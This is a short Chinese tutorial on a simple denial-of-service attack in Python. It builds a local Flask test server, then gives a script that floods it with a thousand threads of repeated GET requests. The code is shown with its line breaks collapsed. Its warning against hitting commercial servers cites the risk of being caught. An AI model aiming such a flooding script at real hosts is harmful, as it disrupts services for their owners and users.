python-简单的dos攻击

前言

这个是DOS攻击学习(注意：千万别去攻击有商业价值的服务器或应用，不然会死的很惨(只有一个IP通过公网访问容易被抓),前提是网站没有攻击防御)

创建一个以python编写的后端web服务(好观察)

安装flask

pip install flask 

from flask import Flaskapp = Flask(__name__)@app.route("/")
def index():return 'hello world'if __name__ == '__main__':app.run(debug=True)

python编写DOS攻击服务

pip install requests

import requests
from requests.exceptions import RequestException
import threadingdef requestGetOne():try:response = requests.get('http://127.0.0.1:5000', timeout=5)response.raise_for_status()  # 检查响应状态码print(response.text)except RequestException as e:print(f'请求出错: {e}')def print_numbers():for i in range(1000):requestGetOne()if __name__ == "__main__":threads = []for i in range(1000):  # 创建1000个线程thread = threading.Thread(target=print_numbers)threads.append(thread)thread.start()# 等待所有线程结束for thread in threads:thread.join()print("All threads have finished.")

访问稍微会变慢(因为是本机的访问基本没构成TCP连接访问服务+电脑会变卡，CPU占有率是100%)